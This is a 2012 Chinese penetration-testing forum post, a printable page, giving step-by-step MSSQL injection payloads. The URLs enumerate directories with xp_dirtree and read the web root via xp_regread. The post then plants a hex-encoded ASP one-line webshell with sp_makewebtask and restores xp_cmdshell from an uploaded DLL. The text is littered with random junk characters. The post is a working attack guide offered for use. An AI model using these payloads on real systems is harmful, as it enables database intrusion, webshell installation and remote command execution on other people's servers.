中国网络渗透测试联盟

标题: MSsqlL注入取得网站路径最好的方法 [打印本页]

作者: admin    时间: 2012-9-13 17:20
标题: MSsqlL注入取得网站路径最好的方法
好,我们exec master..xp_dirtree'd:/test'# @3 _: `( _% T$ L
假设我们在test里有两个文件夹test1和test2在test1里又有test3* {1 I+ ^8 |3 L  }/ R
结果显示
5 A1 i2 P0 B9 Q$ ^, c' K
, u! w. a1 R# r, h5 Usubdirectory depth- G7 u$ ]$ [0 W7 i4 L/ f
test1 1
& i- n9 z0 D, }$ H2 ^test3 2" t* ~# Y4 O! f7 ~0 A0 g$ @
test2 18 u" y6 l; q0 T, t9 m3 u
" \$ E' J/ s3 z
哈哈发现没有那个depth就是目录的级数
* s% K, w0 f. b# Aok了,知道怎么办了吧# S! O4 q9 e2 m9 ~8 V, U
1 ]5 O/ j. n; Y: s: a
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- 9 O3 S5 h  {6 ]# x
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- + y* i$ h1 P/ i* \
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-  ^3 @, y) s0 x+ L

( ]1 V# v' R/ F, q, n只要加上id=1,就是第一级目录 。
. v) P+ p( H- a4 v" {3 ~$ y* J1 V2 q! [
' |  k2 S# l+ N. a. e
通过注册表读网站路径:
2 n5 O, V& }9 g. J8 G" Z0 G
2 |4 O" v6 R) R- I7 c+ f) g" B, W1.;create table [dbo].[cyfd] ([gyfd][char](255));" r) W4 e- [, b3 D3 h: g; z
& E9 |% ]$ N1 t- C
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
  w$ Z* |  E: b8 E* k' ^id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
& Z; N9 _# n! K7 x( ^# S8 J+ G* w) J4 a8 ?
3.and 1=(select count(*) from 临时表 where 临时字段名>1)4 N+ a, H4 l5 F8 Y! b
and 1=(select count(*) from cyfd where gyfd > 1)
/ V3 N5 c" P8 i$ w8 x这样IE报错,就把刚才插进去的Web路径的值报出来了
  j! Y! f! R" c" a" L) _" V+ m9 |" J. U
4.drop table cyfd;-- 删除临时表, \$ ]. N: E. r( F2 x- v. g

7 c$ W8 E6 X  y% @4 f4 K获得webshell方法:" D- G: C( U! J2 H4 h. N( ^2 n
1.create table cmd (a image)-- \**cmd是创建的临时表+ k/ L3 }6 g; S7 a

& O* s1 v3 ~( h8 p2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话' [+ f; ?8 Z0 d/ i
& g& G6 P- P; ?) S) W/ V+ y

! X: b" ^$ Q( N& z8 `3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
0 J/ E$ _* c5 S& w6 a3 G6 \2 hEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
2 B# r8 X2 z- i* Z
, B7 G. o5 w6 N7 P& z2 N4.drop table cmd;-- 删除cmd临时表3 c: N2 \  }6 V& k
& X# X! t* u9 T) z; @5 c9 R; ^7 p
恢复xp_cmdshell方法之一:/ z5 j3 M6 f% B; H; Z* w( l; @! Q" Y
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
0 L5 ]9 O7 M! Q# {# Ahttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
# b4 r8 Y- d6 b) ?' i. g6 p恢复,支持绝对路径的恢复哦。:)1 m* b8 U& l% F8 C# M- X* g9 l





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2